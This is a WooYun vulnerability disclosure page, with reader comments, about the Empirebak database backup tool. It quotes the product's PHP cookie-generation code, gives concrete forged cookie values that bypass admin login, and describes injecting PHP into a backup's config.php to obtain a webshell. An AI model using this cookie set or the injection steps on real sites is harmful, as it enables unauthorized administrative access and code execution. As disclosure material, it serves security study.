当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(48) 关注此漏洞

缺陷编号: WooYun-2014-78591

漏洞标题: 帝国备份王(Empirebak)万能cookie及拿shell

相关厂商: 帝国备份王

漏洞作者: Flow

提交时间: 2014-10-08 12:32

公开时间: 2015-01-06 12:34

漏洞类型: 设计缺陷/逻辑错误

危害等级: 中

自评Rank: 10

漏洞状态: 未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: webshell 逻辑错误 , webshell webshell

16人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-08: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-01-06: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

帝国备份王(Empirebak)拿shell

详细说明:

1.伪造cookie登录系统(其实这一步多余的,大多用户连密码都没改,都是默认的123456)



登录成功设置4个cookie,看代码

code 区域
function login($lusername,$lpassword,$key,$lifetime=0){ 
global $set_username,$set_password,$set_loginauth,$set_loginkey;
if(empty($lusername)||empty($lpassword))
{
printerror("EmptyLoginUser","index.php");
}
//验证码
if(!$set_loginkey)
{
if($key<>getcvar('checkkey')||empty($key))
{
printerror("FailLoginKey","index.php");
}
}
if(md5($lusername)<>md5($set_username)||md5($lpassword)<>$set_password)
{
printerror("ErrorUser","index.php");
}
//认证码
if($set_loginauth&&$set_loginauth!=$_POST['loginauth'])
{
printerror("ErrorLoginAuth","index.php");
}
$logintime=time();
$rnd=make_password(12);//生成随机字符
$s1=esetcookie("bakusername",$lusername,0);
$s2=esetcookie("bakrnd",$rnd,0);//随机字符
$s3=esetcookie("baklogintime",$logintime,0);
Ebak_SCookieRnd($lusername,$rnd);//
if(!$s1||!$s2)
{
printerror("NotOpenCookie","index.php");
}
printerror("LoginSuccess","admin.php");
}



再看看make_password函数

code 区域
function make_password($pw_length){ 
$low_ascii_bound=50;
$upper_ascii_bound=122;
$notuse=array(58,59,60,61,62,63,64,73,79,91,92,93,94,95,96,108,111);
while($i<$pw_length)
{
mt_srand((double)microtime()*1000000);
$randnum=mt_rand($low_ascii_bound,$upper_ascii_bound);
if(!in_array($randnum,$notuse))
{
$password1=$password1.chr($randnum);
$i++;
}
}
return $password1;
}



这个函数只是生成随机数,再看看Ebak_SCookieRnd函数

code 区域
function Ebak_SCookieRnd($username,$rnd){ 
global $set_loginrnd;//$set_loginrnd为config.php里面的验证随机码
$ckpass=md5(md5($rnd.$set_loginrnd).'-'.$rnd.'-'.$username.'-');//没有把密码加进去,于是漏洞产生了
esetcookie("loginebakckpass",$ckpass,0);
}



下面给出万能cookie(key:value):

code 区域
ebak_loginebakckpass:119770adb578053dcb383f67a81bcbc6 
ebak_bakrnd:35y5cCnnA4Kh
ebak_bakusername:admin
ebak_baklogintime:4070883661



使用以上cookie即可直接访问admin.php

2.拿shell

后台参数设置一般都设置好了,如果不能连接数据库,可以在数据库设置里填个自己的远程数据库

备份数据,随便找个数据库备份,

然后到替换目录文件内容里,选择刚才备份的数据库,

将"$b_table="

替换成

"phpinfo();

$b_table="

1.gif



这里shell的路径就是bdata/mysql_20141007221849/config.php

2.gif

漏洞证明:

修复方案:

一直很佩服崇拜EmpireCMS.

版权声明:转载请注明来源 Flow@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
100%
0%
0%
0%
0%

评价

  1. 2014-10-08 14:03 | chock ( 普通白帽子 | Rank:156 漏洞数:33 | 若你喜欢怪人)
    0

    万能cookies...太屌了

  2. 2014-10-08 15:07 | U神 ( 核心白帽子 | Rank:1360 漏洞数:150 | 乌云核心菜鸟,联盟托管此号中,欢迎加入08...)
    0

    不用配置数据库连接可以拿shell么?

  3. 2014-10-08 15:58 | hkAssassin ( 普通白帽子 | Rank:395 漏洞数:73 | 我是一只毛毛虫。)
    1

    我想知道需要登录么??

  4. 2014-10-09 09:17 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)
    0

    这个屌。。

  5. 2014-10-13 11:56 | 黑侠 ( 路人 | Rank:1 漏洞数:1 | 帮助别人,等于帮助自己)
    0

    帝国 好像很牛,一直不接受wooyun 厂商都无视wooyun,根本不来注册厂商帐号呀。。。。

  6. 2014-11-06 01:16 | 0x7575 ( 实习白帽子 | Rank:62 漏洞数:16 )
    0

    不过感觉使用帝国备份的 目前很少见了!

  7. 2015-01-06 11:35 | sfsgfr ( 路人 | Rank:12 漏洞数:2 | 没什么好介绍的,一切为了安全)
    1

    这个已经这么多天了,还没公开?

  8. 2015-02-07 15:10 | 路飞 ( 普通白帽子 | Rank:112 漏洞数:21 | 上帝恩赐,命运天定。希望之光,普照我身。...)
    0

    是什么版本的帝国cms?

登录后才能发表评论,请先 登录